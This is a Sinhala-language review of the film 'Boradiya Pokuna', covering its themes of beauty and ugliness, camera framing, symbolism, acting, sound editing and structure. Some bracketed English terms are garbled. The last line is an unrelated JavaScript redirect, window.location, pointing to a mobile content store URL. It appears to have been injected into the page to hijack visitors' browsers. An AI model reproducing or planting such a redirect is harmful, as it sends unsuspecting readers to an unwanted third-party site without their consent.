බොරදිය පොකුණ ශෝභන වස්ත‍්‍රයන්ට යටින් සියල්ලෝම නිරුවතිනි

සරල රුක්ෂිත
සඳුන් ප‍්‍රියංකර විතානගේ

බොරදිය පොකුණ’ යනු කළු, සුදු හෝ පැතලි නැති, ලෝකය පිළිබඳ සැබෑ වර්ණවත් චිත‍්‍රයක් මවන සිනමාරූප කාව්‍යයකි.
මානව සබඳතා යනු කෙතරම් සංකීර්ණ යමක්ද? මානව සබඳතා යනු කෙතරම් විචිත‍්‍ර, අද්භූතරූපී යමක්ද? මානව සබඳතා යනු කෙතරම් ගැටලූසහගත, ගැටුම්කාරී යමක්ද යන්න කියන්නට වෙර දරන සිනමාවකි.

කැත සහ ලස්සණ යන්නට බොහෝ කාලයක පටන් විවිධ නිර්වචන ඇත්තේය. කුස ජාතකයේ කුස සහ පබාද, නොත‍්‍රදාමයේ කුදා සහ සුරූපිනියද කැත සහ ලස්සණ නියෝජනය කරති. ‘බොරදිය පොකුණේ’ මංගලා සහ ගෝතමී ද කැත සහ ලස්සණ යනුවෙන් අධිනිශ්චය වී ඇති සංකල්ප මෙහිදී නියෝජනය කරති.
මෙම අදහසට නිදර්ශනයක් ඉදිරිපත් කරන්නට කැමැත්තෙමු. මංගලා නම් චරිතය රඟන ඩිලානි අබේවර්ධනගේ රුව වසර ගණනකට පෙර කාන්තාවකගේ ලස්සණ ලෙස අධිනිශ්චයව තිබුණද අද වනවිට ලස්සණ ලෙස අධිනිශ්චයව ඇත්තේ කුමනාකාරයේ රූප ස්වභාවයක්ද? මේ කාලයේ ලස්සණ තරුණියක්යැ’යි කියන්නේ, ගැටවරයෙක්ගේ පෙනුමෙන් යුතු, පැතලි පපුවක් ඇති කෙට්ටු ශරීරයෙන් සහ සුදුමැලි පෙනුමකින් යුතු තරුණියකටය. මේ නම් තනිකර ගෝලීය විනෝද කර්මාන්තය විසින් නිර්මාණය කළ නිර්ණායකයන්ය.

අනෙක් කරුණ නම්, මේ ලස්සන සහ කැත බොහෝ විට ලස්සන = හොඳ, කැත = නරක යැයි සම්මතයක්ද පැවතීමයි. සමන් ද සිල්වා ගයන ගීතයක ඇති ‘දුදන ගුණේ පව් සෙවණේ වැඩුණු විරූපී – සුදන ගුණේ දයා සෙණේ වැඩුණු සුරූපී’ යනුවෙන් කියන ඛණ්ඩයක් ඇත. හොඳ හෝ නරකයැ’යි වෙනසක් ද ලොව ඇත්තටම ඇත්තේ නැති අතර චීන ‘යිං යැං’ සංකල්පයේදී මෙන් ඒවා සාපේක්ෂව අඩු වැඩි වශයෙන් මිනිසුන් තුළ අන්තර්ගත වෙයි.
සත්‍යජිත් ප‍්‍රශ්න කරන්නේ ඒ පොදු මිනිස් ගති ස්වභාවයයි. එය ලස්සණ හෝ කැත ලෙස අධිනිශ්චය වූ කවරෙක් තුළ වුවත් දක්නට ලැබෙයි. කැතයැ’යි සම්මත ගැහැනුන් පේ‍්‍රමයේ වෙළිය යුතු නැතිදැ’යි ඔහු ප‍්‍රශ්න කරයි.

ගෝතමී හමුදා සෙබළාට ආශක්ත වීම අවුලක් ලෙස පේ‍්‍රක්ෂාවට දැනීම යනු කුමක්ද? එය ප‍්‍රබන්ධගත යථාර්ථයට වසඟව ඇති අප සැමගේ අවුලයි.
ප‍්‍රබන්ධිත යථාර්ථයන් සැබෑ යථාර්ථයට බලපෑම් කරන කල්හි එයට එරෙහිව සිනමාකරුවා ගසන කැරැුල්ලකි බොරදිය පොකුණ.
ලංකාවේ කලාත්මක සිනමාව බොහෝ කොට මූසළ, කාලකණ්ණි සිනමා රූප සහිත සිනමාවක් බවට ඌණනයව තිබෙනු දැක්ක හැකිය. වියළි කලාපයේ ඇස පෙළන මූසල රූප රාමු, දිගු දුර රූපයන් :අසාැ ීයදඑි* හි අතරමංව පේ‍්‍රක්ෂක ඇසට නිතර දක්වන කලාත්මක සිනමාව සාමාන්‍ය පේ‍්‍රක්ෂකයාගෙන් දුරස්ය. ඒ පිළිබඳව විමසූ විට ‘ඒවා හැමෝටම තේරෙන්නෙ නැහැ’ වැනි ප‍්‍රකාශ අසන්නට ලැබෙයි. ‘බොරදිය පොකුණේ’දී අධ්‍යක්ෂවරයා කලාත්මක සහ වාණිජ දෙවර්ගයේම පේ‍්‍රක්ෂකයන් තමා වෙත නතුකර ගන්නට හැකි රූප රාමු භාවිත කරන්නට පෙළැඹී තිබෙන බව පෙනේ. අද සිනමාවේ පවතින රූපරාමුවල තත්ත්වය :ඪසාැද ූම්කසඑහ* සමග බලන කල පමණක් ගතවූ වසර හත තුළ සිනමාවේ තාක්ෂණික විපර්යාසයන්ගේ අඩුව මෙහි තරමක් දුරට පෙනුණද එය හුදෙක් තාක්ෂණික කරුණක් පමණි. හේ තම රූපරාමුවල වර්ණ සංයෝජනය සහ ආලෝකකරණය යොදා ගෙන ඇති අයුරුව නිසා එයින් ගැටලූවක් පැන නගින්නේ නැත. රූප රාමු ගැන පිළිබඳව වෙසෙසින් සඳහන් කළ හැකිවන්නේ අධ්‍යක්ෂවරයා දුර රූප රාමුවලට වඩා සමීප සහ මැද :ඵසා ීයදඑි* රූප රාමු බොහෝ ලෙස පාවිච්චි කර ඇති බවයි. කෞෂල්‍යා වැනි අතිදක්ෂ රංගන ශිල්පිනියක් අස එවැනි රූප රාමු අතිශය වර්ණවත්ව ඇති බවද පෙනෙයි. ලංකාවේ බහුතරයක් කලාත්මක සිනමා නිර්මාණවලට මෙන්ම ලංකාවේ වියළි කලාපයේ රූප රාමු තෝරාගත්තාට ඒ සෑම රූප රාමුවකම අලංකාරයක්, විචිත‍්‍රත්වයක් එක් කරන්නට අධ්‍යක්ෂවරයා වෑයම් කර ඇත. ඇතැම් රූපරාමුවල ඇති විචිත‍්‍රත්වය :ඨක්පදමර* එම රූප රාමුවේ අන්තර්ගතයට පවා අදාළවන්නේ නැත.

සංකේත භාවිතය සිනමාපටයක් පේ‍්‍රක්ෂකයා වෙත සමීප කරන්නට මහත් උපකාරී වෙයි. එලෙස යොදා ගන්නා සමහර සංකේත පේ‍්‍රක්ෂකයාට ඒ මොහොතේ ඥානනය නොවුණද ඔහුගේ චිත්තාභ්‍යන්තරයේ ලැගුම් ගන්නේ වෙයි. මෙහි සංකේත භාවිතය නරඹන්නාට කරදරයක් නොවන සේ යොදාගන්නට සත්‍යජිත් සමත් වෙයි. ගෝතමීහට මැරයන් තර්ජනය කිරීමෙන් අනතුරුව ඇය බෝඩිම අසලට පැමිණ සිහිසුන්ව ඇද වැටෙන විට මංගලා වතුර ගත් බාල්දියේ සිදුරකින් වතුර කාන්දු වීම සහ ගෝතමී මංගලාගේ නිවසේ පවත්වන කිරි මව්වරුන්ගේ දානයට පැමිණ ඇති වන කතාබහ අතරතුරදී වළන්, පිඟන් සෝදනා කාන්තාවක් ‘නෝනා තව ඉඳුල් පිඟන් තියෙනවද සෝදන්න’ යනුවෙන් ඇසීම වැනි සියුම් සංකේත වහා සිහියට නැගෙයි. මේවා තුළින් නිර්මාණයේ රූප රාමු සහ දෙබස්වලට ඉතා පුළුල් සාධාරණ අර්ථයක් එක් කරන බව පෙනෙයි. අවස්ථා දෙකකදී දක්වන කුවේණි නාටකයේ ගීතය සංකේතයක් වශයෙන් යම් පමණකට බලෙන් එබ්බ වූ ගතියක් දැනෙයි.
සිනමාපටය වෙත රංග ශිල්ප ශිල්පිනියන් තෝරා ගැනීමේදී අධ්‍යක්ෂවරයා දක්වා ඇත්තේ බුහුටිකමකි. ලාංකේය සිනමාවේ එතෙක් මෙතෙක් දැක්වූ විශිෂ්ට රංගනයන්ගෙන් එකක් ලෙස කෞශල්‍යා ප‍්‍රනාන්දුගේ අතිවිශිෂ්ට රංගනය දැක්විය හැකිය. අනෙකුත් රංගන ශිල්ප-ශිල්පිනියන් සිය කාර්යභාරය මනාව ඉටු කොට ඇති වුවත් විපුලගේ චරිතයට නම් අධ්‍යක්ෂවරයාගේ තෝරාගැනීම සාධාරණයක් ඉටුකොට ඇතිදැ’යි ඇත්තේ කුකුසකි. විපුල ලෙස රඟන නළුවාගේ රංගනයන් තුළ අධ්‍යක්ෂවරයා බොහෝ කොට සමීප රූපවලට නොගොස් තිබීම එය රූගත කරද්දී පවා ඔහුට තම තෝරාගැනීම පිළිබඳ සැක සංකා තිබුණු බවක් පෙන්නුම් කරයි.
සංස්කරණය මගින් සිනමාපටය වෙත අමුතු යමක් එක් කර නොගන්නට අධ්‍යක්ෂවරයාට අවැසි නොවූයේයැ’යි සිතන තරමට සාමාන්‍ය සංස්කරණයක් දක්නට ලැබෙයි. මෙය නිර්මාණය කළ කාලවකවානුවට සාපේක්ෂව ශබ්ද සංස්කරණය :ීදමබා ෘැිසටබසබට* ඉහළ තත්ත්වයක තිබෙයි. අද පවා ලාංකේය සිනමාවේ වැඩි සැලකිල්ලක් නොදක්වන ඉසව්වකි, එය. ඇත්ත වශයෙන්ම සිනමාපටයක රූපය සහ හඬපටයට 50% – 50% මට්ටමේ සැලකීමක් ලැබිය යුතුවේ. ඒ රූපය මෙන්ම හඬපටයද ඉතා වැදගත් නිසාවෙනි. මේ වනවිට ලෝකයේ අනෙකුත් සිනමා නිර්මාණයන්හි දෙබස් හඬ, පසුබිමෙහි ඇසෙන ශබ්ද පටිගත කරනු ලබන්නේ සජීවීවයි. එමගින් එම මොහොතේ ඒ අවට අවකාශයේ ඇති ශබ්ද ඉතා තාත්විකව පටිගත කරගැනීමට හැකිවීම සහ දෙබස් හුවමාරු කරගැනීමේදී රංගනයත් සමගම හැඟීම් සහ හෙඬ් ඇති විවිධ ගති ස්වභාවයන් ඒ ආකාරයෙන්ම පටිගත කරගැනීමට හැකි නිසාවෙනි. බොහෝදුරට අපේ රටේ සෑදෙන චිත‍්‍රපටවල දෙබස් හඬ සහ පසුබිම් ශබ්ද/හඬවල් පටිගත කරන්නේ ශබ්දාගාර තුළයි. මේ පටිගත කිරීම්වලින් අනතුරුව නිර්මාණයේ දෙබස් හඬ සහ පසුබිම් ශබ්ද ව්‍යාජ බවක් උසුලන බව පෙනෙයි. මෙහිදී ඒ තත්ත්වය, සිනමාව රස හීන තත්ත්වයකට පත්කර ගැනීමකින් තොරව ගොඩනගන්නට අධ්‍යක්ෂ වරයා සමත්ව ඇත.

කතන්දරයක් කීමේ ආකෘතියෙන් තවදුරටත් වැඩගන්නා අධ්‍යක්ෂවරයා ඒ තුළද ආකෘතිය කොටස් තුනකට කඩා දමමින් ඉදිරිපත් කරයි. එය අතීත කතාව, වර්තමාන කතාව සහ පූර්වාපර සන්ධි ගැළපීම නමි. මෙම ආකෘතිය සිනමා රීතියෙහි එන 3්ජඑ යන්නට සමානකමක් දක්වන බවක් පෙනේ.
සිනමාපටය අවසාන භාගයේදී සියලූදෙනා කළු සුදු හෝ පැතලි ය නොවන බවත් සියල්ලෝ වර්ණවත් සංකීර්ණ මිනිසුන් බවත් පෙන්වාදෙමින් සිනමා පටය පරිසමාප්තියට පත්වන්නේ, මංගලා සිය කතාව කිරි දානය (පත්තිිනි අම්මලාගේ දානය) දා ගෝතමීට පැවසීමෙනි.

එයින් පසුව කතාවක් ලෙසත් සිනමාවක් ලෙසත් එය කූටප‍්‍රාප්තියට පත්වූ පසුව, නැවත කතාව ඉදිරියට ඇදගෙන යන්නේ ඇයිදැ’යි පැහැදිලි නැත. පෙර කී කතාව සිනමාවේ උච්චතම අවස්ථාවයි. මංගලා තම අතිරහස් පේ‍්‍රමය වූ සරසවි පෙම්වතා පිළිබඳ කතාව ගෝතමී වෙත කීමෙන් අධ්‍යක්ෂවරයා පේ‍්‍රක්ෂාවට මෙසේ පවසයි. ‘ඔහෙල හැමෝම ඇඳුම්වලට යටින් නිරුවතින් ඉන්නෙ.’ එතැනින් ඉදිරියට ඔවුන්ගේ පේ‍්‍රම ජවනිකා පෙන්වන්නට යෑම සුරතාන්තයෙන් පසුවත් නොනවතින රමණයක් වැන්න.

කෙසේ වෙතත් අවසනදී රූපයට නගා ඇති, සුරංජිත්ගේ සිහින කුමරිය පිළිබඳව පැවසීම සහ ඔහුගේ මංගල පින්තූර සිනමාපටය මනෝවිද්‍යාත්මකව සමබර කරන්නට කරන මෙහෙවරද සුළුපටු නොවේ.

ධර්මසිරි බණ්ඩාර නායක ‘හංසවිලෙන්’ පසුව නැවතත් මැද පාන්තික පවුල් ගැටුමකට මැදිකර ගන්නා සත්‍යජිත් ඔහුගෙන් තම කෘතියට නියම ආලෝකය ලබා ගනියි. කෙසේ වෙතත්, කෙලෙස් බරවූ විට ආගමික චින්තාවන් නොතකනයුරු, විපුල සමග රමණයට පෙර පිණ්ඩපාතික භික්ෂුවට ජනේලය වසන ගෝත මියගෙන්ද, අසරණව වැදහොත්නා විට ආගමික චින්තාවන් සරණ යනයුරුද දක්වමින් නැවත එවැනිම භික්ෂුවකට වැඳ වැටෙන ගෝතමියගෙන්ද පෙන්වා සිනමා ගෙත්තම ගොතන සත්‍යජිත් අවසන ගෝතමී විසින් හදාගන්නට ගන්නා දරුවාගේ නම විමසා එය කිතුනු ඌරුවේ නමක් බව අනවැසි තරම් මතුකරන්නේ ඇයිදැ’යි පැහැදිලි නැත. එය ආගමික වශයෙන් දෙපස තුළනය කිරීමක්දැ’යි කුකුසකි.

window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”;